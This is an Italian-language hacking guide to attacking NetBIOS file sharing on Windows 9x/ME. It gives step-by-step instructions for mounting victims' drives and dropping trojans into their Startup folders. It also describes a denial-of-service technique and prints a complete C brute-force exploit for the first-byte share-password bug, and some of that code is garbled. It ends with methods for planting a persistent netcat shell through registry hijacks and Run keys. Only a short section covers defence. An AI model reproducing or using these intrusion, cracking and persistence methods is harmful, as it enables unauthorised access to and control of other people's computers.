
INDICE:
-DISCLAIMER
-TECNICA DI BASE
---REQUISITI
---TECNICA
-TECNICHE AVANZATE (...AVANZATE SI FA PER DIRE...)
---RACCOLTA INFORMAZIONI SUL BERSAGLIO
---ESAURIMENTO DELLE RISORSE DI RETE
---FIRST BYTE BUG
---EXPLOIT
---CREARSI UNA SHELL SUL BERSAGLIO
-MESSAGGI D'ERRORE
-COME DIFENDERSI?
-CONCLUSIONI
DISCLAIMER:
Questa mini guida sullo sfruttamento del Netbios è da considerarsi come un testo
informativo/educativo. Non sono un Guru, sono un essere umano e potrei scrivere
cazzate, quindi se ho sbagliato qualcosa scrivetemi pure e correggerò l'errore
(...magari senza insultarmi... :-) ). L'autore (Nephilim) non si assume alcuna
responsabilità per l'uso inadeguato o illegale delle informazioni qui contenute.
Ho realizzato questa guida per far capire alcuni aspetti della sicurezza non per
far divertire un paio di lamer.
Insomma se vi fate beccare per queste menate sono tutti cazzi vostri. :-)
**************************************************************
TECNICA DI BASE
**************************************************************
REQUISITI:
Hai windowz? Sei a posto..dovrai solo sincerarti di configurarlo in un paio di
passaggi, però prima di sfruttarlo vediamo di capire bene cosa è Netbios. Netbios
è semplicemente un condivisore di risorse in rete, si appoggia sulla porta 139
e sfrutta le reti locali IPX/LAN. Bene ora vediamo di configurare windowz in
quanto per sfruttare le risorse del pc vittima devi preparare il tuo pc ed in
breve renderlo in grado di comunicare con altri pc aventi il netbios attivo
(alla fine il 60% degli utenti).
Si va in Start->Pannello di controllo-> rete e si aggiunge:
1) Client per reti microsoft
2) Client per reti netware (che aggiunge automaticamente il protocollo IPX/SPX).
Questo lo trovi in: Start->Pannello di controllo->rete-> Aggiungi ->
Client ->Client per reti microsoft/netware.
Ok, configurazione finita. Non era difficile, vero?
TECNICA:
Innanzitutto bisogna avere l'indirizzo IP del bersaglio. Non è compito di questa
guida insegnare come trovare un'IP comunque si può sempre ricavare da e-mail
ricevute, o magari con un /dns nick se ci si trova su IRC o se siete proprio
lameri e vi basta colpire a caso ci sono programmi come Legion che scannerizzano
determinati range di IP alla ricerca di terminali con Netbios attivo. Partirò
dal presupposto che siete bravi ragazzi e che volete fare le cose da voi e
manualmente...:-)
Scrivete dal prompt dos:
c:nbtstat -A xxx.xxx.xxx.xxx (Mi raccomando la -A maiuscola con
gli indirizzi IP... -a con gli Host Name)
Dove xxx.xxx.xxx.xxx è chiaramente l'indirizzo IP del bersaglio.
Se riceveremo come risposta:
Host not Found
Significa che il netbios è disattivato, altrimenti riceveremo qualcosa del genere:
NetBIOS Remote Machine Name Table
Name Type Satus
---------------------------------------
PIRLA <00>UNIQUE Registered
WORK <00>UNIQUE Registered
PIRLA <03>UNIQUE Registered
PIRLA <20>UNIQUE Registered
WORK <1E>UNIQUE Registered
Ok, ora ci prendiamo il nome della macchina (quello con identificativo <20>
(ovvero condivide risorse) oppure, se manca, il primo della lista: PIRLA) e
sempre dal prompt del dos digitiamo:
c:>edit c:windowslmhosts
Editiamo il file in questo modo:
xxx.xxx.xxx.xxx PIRLA #PRE
Tenendo conto che se il nome della macchina è separato (es. PIR LA) dobbiamo
scriverlo come "PIR LA" e che il tag #PRE è fisso e va sempre inserito. Quando
si edita il file lmhosts gli spazi si devono fare con il tasto TAB. Dopo aver
creato il file lmhosts lo carichiamo digitando sempre da prompt dos :
c:> nbtstat -R [carichiamo il file lmhosts]
Se tutto è andato bene dovrebbe apparire:
"Successful purge and preload of the NBT Remote Cache Name Table"
In caso contrario o avete sbagliato a editare il file oppure avete configurato
male il pc.
Ora incrociamo le dita e vediamo se ci sono delle risorse condivise digitando:
net view PIRLA
Se appare un messaggio di errore significa che non ci sono risorse condivise o
che non siamo autorizzati ad accedervi, altrimenti apparirà il seguente messaggio:
Risorse condivise su PIRLA
Condivisione Tipo Commento
------------------------------------------
C Disco
D Disco
EPSON Stampa
Esecuzione comando riuscita
Ora basta uscire dal dos e andare in esplora risorse e dal menu in alto selezionare
StrumentiConnetti unità di rete.
Bene, scegliamo l'unità del nostro nuovo HD nel percorso:
PIRLAC
In qusto modo si visualizzerà il contenuto del suo HD. Per l'upload e il download
di file si deve ricorrere ad un bel copia e incolla, mentre per avviare i files
non si deve cliccare sul file eseguibile (se no si apre sul nostro pc) bensì
posizionare il file (backdoor /trojans o altro..) nella subdirectory
"c:windowsmenu avvioprogrammiesecuzione automatica" e aspettare che il
nostro nuovo amico riavii il suo bel PC. :-)
*******************************************************
TECNICHE AVANZATE (...AVANZATE SI FA PER DIRE... :-) )
*******************************************************
In questa sezione illustrerò alcune tecniche leggermente avanzate che ci
permetteranno di avere accesso anche a sistemi protetti da password, a raccogliere
informazioni sul bersaglio e crearci una bella shell da usare come bouncer.
Se sei un lamer e ti piace avere la pappa pronta considera pure conclusa la
lettura e torna a floodare dei poveracci su IRC, questa guida si rivolge a
coloro che sono interessati alla rete e sono curiosi di scoprire ed imparare
per il solo bene del Sapere e non per fare del male.
Sarò volontariamente generico, darò l'incipit e non scriverò cosa fare passo
passo ma se siete interessati non esitate a contattarmi e vi darò una mano a
risolvere i vostri problemi...Ok, dopo questo breve sfogo :-) possiamo
tornare al lavoro!
RACCOLTA INFORMAZIONI SUL BERSAGLIO
Questa tecnica sfrutta la specifica di windoZ che permette di installare una
stampante anche in remoto e che mette allo scoperto il sistema lasciando un bel buco.
Nel fare questo sharing infatti, win crea un file in c:windowssystem
chiamato "printer$". Questo file è accessibile dall'esterno e senza bisogno
di password anche se il sistema è generalmente protetto. E allora? direte voi,
blasfemi ed infedeli...:-) questa cosa è molto importante per determinare DLL
e informazioni sulla versione del software installato, così come dati personali
dell'utente...
I sistemi vulnerabili sono come al solito i win9x e ME.
Exploit: Mooolto semplice, basta scrivere nel box "Start, Run...":
PIRLAprinter$
Dove PIRLA è il nome del computer con la condivisione della stampante attivata...
il resto lo lascio al vostro intuito... :-)
ESAURIMENTO DELLE RISORSE DI RETE
Questa tecnica sfrutta una vulnerabilità di NTB che può risultare particolarmente
utile nel caso di bersaglio multiplo. Una volta connessi alla porta 139 del
bersaglio è infatti molto facile causarne il blocco consumando le sue risorse
di rete...Come? Presto detto...l'attacco consiste nell'inizializzare numerose
connessioni e quindi chiuderle lasciando i socket TCP del bersaglio in stato di
FINWAIT_1. Ora, anche se i socket alla fine scadono e liberano memoria, lanciando
continue connessioni si otterrà un blocco del sistema per tutta la durata dell'attacco.
Solo Windows 2000 è invulnerabile all'attacco, mentre per NT 4.0sp6 esiste una
patch (Che la maggior parte degli utenti ignora :-) ).
Come possono difendersi gli altri sistemi? Al fine di rendere vano questo genere
di attacco basta lasciare un elevato numero di connessioni in stato FINWAIT_1.
FIRST BYTE BUG
Questa tecnica che sto per spiegarvi sfrutta la genialità dei programmatori
MicroZoft che hanno sviluppato lo schema di verificazione della password nel
protocollo NETBIOS. :-)
Funziona con Win 9x (Qualsiasi edizione) e ME, mentre Win 2000 e NT sono immuni.
Dunque, questa vulnerabilità ci permetterà di accedere al servizio file sharing
anche se protetto da password che ignoriamo...Come? Beh, vediamo di capire la
falla del sistema e poi il modo di sfruttarla verrà da sè (Sto cercando di farvi
capire come bisogna muoversi...).
Lo schema di verificazione della password ha una falla a monte...non paragona
infatti la lunghezza della password immessa dal client con quella memorizzata
sul server. Questo significa che se noi settiamo la lunghezza della password
ad 1 byte e spediamo il pacchetto al server, questi verificherà solo il primo
byte della password di sharing e se sarà giusta l'autenticazione sarà completa.
:-) Grande!
Capito? Per entrare in uno di questi sistemi ci basterà inviare un pacchetto da
un byte al server e riprovare fin quando indovineremo il primo byte...
...tra l'altro questa tecnica funziona anche con il sistema di accesso remoto
di windows in quanto lo schema di verifica password è lo stesso... :-)
EXPLOIT
Questo exploit, scritto con il grande Melih SAriCA (che ringrazio e saluto,
you rule!) permette di sfruttare il buco dello schema di verificazione della
password. In rete si può trovare una versione leggermente diversa, con
l'implementazione di funzioni fork() all'interno del codice che lo rendono più
veloce e snello ma anche più instabile. Per questo motivo ho preferito inserire
qualcosa di più sicuro.
Ripeto: Usate questo exploit solo per autotestarlo sul vostro sistema. Nè io
(Nephilim) nè Sarica siamo resposabili di un uso illegale di questo programma...
(...la prudenza non è mai troppa... :-) )
Usate caratteri appartenenti al range [A-Z] - [0-9], in genere bastano,
in ogni caso il programma sfrutta tutti e 256 caratteri.
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SMBPORT 139
int sock_connect(char *remotehost, unsigned int port);
long uid;
char share[100];
char password[100];
char smb_packet[512];
char data[8192]; // 4 general purpose
int request_new_session(int sock)
{
int i, j=0, len;
char nbname[100], nbnetform[100], t[2];
char session_data[512];
memset(session_data, 0, sizeof(session_data));
memset(nbname, 0, sizeof(nbname));
memset(nbnetform, 0, sizeof(nbnetform));
for(i=2;i=len)
{
t[0]='C';
t[1]='A';
}
else
{
t[0]=nbname[i]/16+65;
t[1]=nbname[i]%16+65;
}
nbnetform[j]=t[0];
nbnetform[j+1]=t[1];
j+=2;
}
// Ora abbiamo i nomi NBT in formato network.
session_data[0]=0x81;
session_data[3]=0x48;
session_data[4]=0x20;
memcpy(&session_data[5], nbnetform, j);
session_data[6+j]=0x20;
sprintf(nbnetform, "CACACACACACACACACACACACACACACAAA");
memcpy(&session_data[7+j], nbnetform, 32);
if(send(sock, session_data, 37+j, 0)==-1) return -1;
memset(data, 0, sizeof(data));
if(recv(sock, data, 8192, 0)==-1) return -1;
// prendiamo l'uid per dopo
uid=data[33]*256+data[32]; // il 32° valore indica il + basso, il 33° valore indica il + alto
return data[0];
}
int samba_session(int sock, char *login, char *password)
{
int lp_len, lp_raw_len, lpa, lpb, lpra, lprb, pass_len, pass_lena, pass_lenb;
char lpdata[8192];
lp_raw_len=strlen(login)+strlen(password)+2;
lp_len=lp_raw_len+55;
lpra=lp_raw_len/256; // dividiamo per 256 per calcolare il valore più alto
lprb=lp_raw_len%256;
lpa=lp_len/256; // dividiamo per 256 per calcolare il valore più alto
lpb=lp_len%256;
pass_len=strlen(password)+1;
pass_lena=pass_len/256;
pass_lenb=pass_len%256;
memset(lpdata, 0, sizeof(lpdata));
lpdata[2]=lpa; lpdata[3]=lpb;
lpdata[4]=0xff; lpdata[5]=0x53;
lpdata[6]=0x4d; lpdata[7]=0x42;
lpdata[8]=0x73; lpdata[13]=0x18;
lpdata[14]=0x01; lpdata[15]=0x20;
lpdata[31]=0x28; lpdata[36]=0x0a;
lpdata[37]=0xff; lpdata[41]=0x04;
lpdata[42]=0x11; lpdata[43]=0x02;
lpdata[51]=pass_lenb; lpdata[52]=pass_lena;
lpdata[57]=lprb; lpdata[58]=lpra;
memcpy(&lpdata[59], password, strlen(password));
memcpy(&lpdata[60+strlen(password)], login, strlen(login));
if(send(sock, lpdata, strlen(password)+strlen(login)+61, 0)==-1) return -1;
if(recv(sock, lpdata, 1024, 0)==-1) return -1;
return (lpdata[9]);
}
void build_crafted_smb_packet(char *remoteshare, char *remotepassword)
{
memset(smb_packet, 0, sizeof(smb_packet));
smb_packet[4]='xff';
smb_packet[5]='S';
smb_packet[6]='M';
smb_packet[7]='B';
smb_packet[8]='u';
smb_packet[13]='x18';
smb_packet[14]='x01';
smb_packet[15]=' ';
smb_packet[31]='x28';
smb_packet[32]=uid%256;
smb_packet[33]=uid/256;
smb_packet[36]='x04';
smb_packet[37]='xff';
smb_packet[43]=strlen(remotepassword); // numero di bytes che vogliamo siano confermati
in remoto...NOI stabiliamo le regole...muhahahaha
smb_packet[45]=strlen(remotepassword)+strlen(remoteshare)+1;
memcpy(&smb_packet[47], remotepassword, strlen(remotepassword));
memcpy(&smb_packet[47+strlen(remotepassword)], remoteshare, strlen(remoteshare));
smb_packet[48+strlen(remotepassword)+strlen(remoteshare)]='x41';
smb_packet[49+strlen(remotepassword)+strlen(remoteshare)]='x3A';
// calculate and add length
smb_packet[3]=strlen(remotepassword)+strlen(remoteshare)+47;
}
int main (int argc, char *argv[])
{
int sock, i, len=1, done=0;
struct sockaddr_in sin;
struct hostent *hp;
printf("nMicrosoft Windows 9x NETBIOS remote password crackern");
printf("Please test your own system only.nn");
if(argc!=3)
{
printf("usage: %s hostname remotesharen", argv[0]);
printf("hostname: Target host (ex: 127.0.0.1)nremoteshare: Target share (ex: //victim/c)nn");
exit (1);
}
strncpy(share, argv[2], 100);
for(i=0;ih_addr,(char *)&sin.sin_addr,hp->h_length);
sin.sin_family=hp->h_addrtype;
sin.sin_port=htons(SMBPORT);
sock=socket(AF_INET, SOCK_STREAM, 0);
if(sock==-1)
{
printf("Unable to create socket.n");
return -1;
}
if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))==-1)
{
printf("Unable to connect.n");
exit(0);
}
if(request_new_session(sock)!=0xffffff82)
{
printf("Error: Couldn't establish session.n");
return(0);
}
if(samba_session(sock, "31337", "")!=0)
{
printf("Error: Couldn't establish login session.n");
return(0);
}
memset(password, 0, sizeof(password));
printf("Wait a few seconds... (Long passwords take a few minutes on a 56K modem.)n");
while(done==0)
{
for(i=1;i<=255;i++)
{
password[len-1]=i;
// build packet
build_crafted_smb_packet(share, password);
if(send(sock, smb_packet, strlen(share)+strlen(password)+51, 0)==-1)
{
printf("Error: Couldn't send data.n");
return(0);
}
memset(data, 0, sizeof(data));
if(recv(sock, data, 8192, 0)==-1)
{
printf("Error: Couldn't receive data.n");
return(0);
}
if(data[9]==0)
{
printf("-> %cn", i);
break;
}
else
if(i==255)
{
if(len!=1) done=1;
else done=2;
password[len-1]=0;
break;
}
}
len++;
}
if(done==1) printf("Password cracked. PASSWORD:"%s"n", password);
else printf("Couldn't crack password.n");
close(sock);
return 0;
}
CREARSI UNA SHELL SUL BERSAGLIO
Questa tecnica ci permetterà di crearci una shell dos sul bersaglio e utilizzarla
come bouncer per eventuali attacchi successivi...(Una sorta di Wingate privato...
:-) ). Partiamo dal presupposto di avere già preso il controllo del bersaglio in
questione.
Innanzitutto dovremo installare un trojan/backdoor (scegliete voi quello che vi
garba di più) che ci spedisca l'IP della vittima (per il problema dell'IP
dinamico...ma questo spero che lo sappiate già da voi).
Secondo passo sarà quello di attivare un nc.exe in modalità server che generi
una bella shell dos...Come?
Beh, ci sono vari modi...io ne ho trovati ben 9 quindi non dovreste aver problemi,
comunque ve ne suggerirò 2 o 3...lasciando perdere l'idea di creare un file .bat
in esecuzioneautomatica perchè sarebbe un po troppo evidente... :-)
1)Andando a modificare il System.ini nella sezione [boot]
Shell=Explorer.exe + (COMMAND.exe per windows 9.x , cmd.exe per WIndows NT/2k)
2)Modificando il registro...si questo è uno dei modi più belli e sicuri... :-)
[HKEY_CLASSES_ROOTexefileshellopencommand] @=""%1" %*"
[HKEY_CLASSES_ROOTcomfileshellopencommand] @=""%1" %*"
[HKEY_CLASSES_ROOTbatfileshellopencommand] @=""%1" %*"
[HKEY_CLASSES_ROOThtafileShellOpenCommand] @=""%1" %*"
[HKEY_CLASSES_ROOTpiffileshellopencommand] @=""%1" %*"
[HKEY_LOCAL_MACHINESoftwareCLASSESbatfileshellopencommand] @=""%1" %*"
[HKEY_LOCAL_MACHINESoftwareCLASSEScomfileshellopencommand] @=""%1" %*"
[HKEY_LOCAL_MACHINESoftwareCLASSESexefileshellopencommand] @=""%1" %*"
[HKEY_LOCAL_MACHINESoftwareCLASSEShtafileShellOpenCommand] @=""%1" %*"
[HKEY_LOCAL_MACHINESoftwareCLASSESpiffileshellopencommand] @=""%1" %*"
La chiave dovrebbe avere un valore "%1 %*", se questa è cambiata in "server.exe %1 %*",
il server.exe è eseguito OGNI VOLTA che un exe/pif/com/bat/hta viene eseguito.
Oppure modificandolo qui:
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices]
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServicesOnce]
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun]
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce]
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun]
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce]
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunServices]
Ma vi consiglio il punto di prima perchè è veramente difficile scovare il buco li.
3)Modificando il file c:windowswinstart.bat che viene eseguito in automatico
e che viene utilizzato per la cancellazione di files o altro all'apertura del
sistema. (Utilizzate questo metodo se non avete grande dimestichezza con il
registro...anche se vi consiglio di imparare perchè è veramente un parco giochi..)
Il tutto dovrà essere chiaramente accoppiato a qualche programma lamero che
permetta di eseguire la shell in background o tutto il lavoro andrà a farsi
benedire con il solo risultato di rivelare la nostra presenza.
MESSAGGI D'ERRORE
Ritengo sia molto utile avere a disposizione una lista di messaggi d'errore
(In inglese e purtroppo solo una parte) che potrete incontrare.
N.B: Spesso, a seconda del sistema, riceverete messaggi con codice decimale
mentre questi sono in esadecimale.
00h - success
01h - illegal buffer length (the maximum size for a datagram buffer is 512 bytes)
03h - illegal command (check the command field)
05h - command timed out
06h - message incomplete (this occurs in receive commands when the buffer
supplied is shorter than the message received; the rest of the message is lost)
08h - illegal session number (check the local_session field)
09h - no resource available
0Ah - session closed (occurs when an application tries to send/receive data
on a session, in which the other end has hung up)
0Bh - command cancelled
0Dh - duplicate name in local table (occurs when an application tries to
add a name, which is already present in the local name table)
0Eh - name table full (the networking software cannot add the name, as the
maximum number, usually 16, has been reached)
0Fh - name has active sessions and has been de-registered (occurs when a name
is removed, which still has session active - all commands on the session using
that name are terminated with this error)
11h - local session table full (check the maximum number of sessions required -
most networking software can be reconfigured to increase this number, but more
memory is required)
12h - remote session table full (unable to open a session, due to a problem at
the other end, or no station waiting for an open request)
13h - illegal name number specified (check the name_number field)
14h - cannot find name called, or no answer (occurs when command 10h is unable
to find the requested name)
15h - invalid name (the name cannot be found, or contains wild cards)
16h - name in use (this occurs when trying to add a name, which already exists
as a unique name on the network)
17h - name deleted
18h - session ended abnormally (some undefined error occurred, which resulted
in the session being terminated)
19h - name conflict
1Ah - incompatible remote device
21h - interface busy
22h - too many commands outstanding (allow some asynchronous commands to complete,
or increase the maximum number of concurrent commands allowed in your networking software)
23h - invalid network number
24h - command completed whilst cancelled operation was occuring
25h - reserved name specified (some names may be reserved for the networking
software, so cannot be used by other applications)
26h - cancel command invalid (the cancel command has therefore not occurred,
since the command is not suitable for cancellation)
40h-4Fh - unusual network condition
50h-FEh - adapter malfunction
FFh - command incomplete (for asynchronous commands)
COME DIFENDERSI?
Come fare a difendersi? bella domanda...
1) Passare a Windows 2000, anzi Windows XP...anzi linux...vi impostate i demoni
e vi dimenticate di tutti questi problemi... :-)
2) Bloccare le porte 135-139 e 445, sia UDP che TCP, per impedire attacchi esterni.
3) Disabilitare i "WINS Client" binding inclusa l'interfaccia NetBIOS, sia per
servizi Server che Workstation. Disabilitare tutti i servizi che registrino
un nome nel Netbios (rilevabili con nbtstat -n).
CONCLUSIONI:
UFFF, finita...finalmente direte voi...beh, lo dico anche io... :-) Ci sono
ancora tante tecniche di cui parlare che però devo ancora affinare come la
cosìdetta Unsolicited Cache Corruption (Se qualcuno di voi fosse riuscito a
sfruttarla lo prego di contattarmi) ma appena potrò aggiornerò la guida.
Se avete problemi o correzioni da segnalarmi, contattatemi e ricordatevi che
l'unico modo per imparare è provare e riprovare. :-)
Ciao e alla proxima :-)
|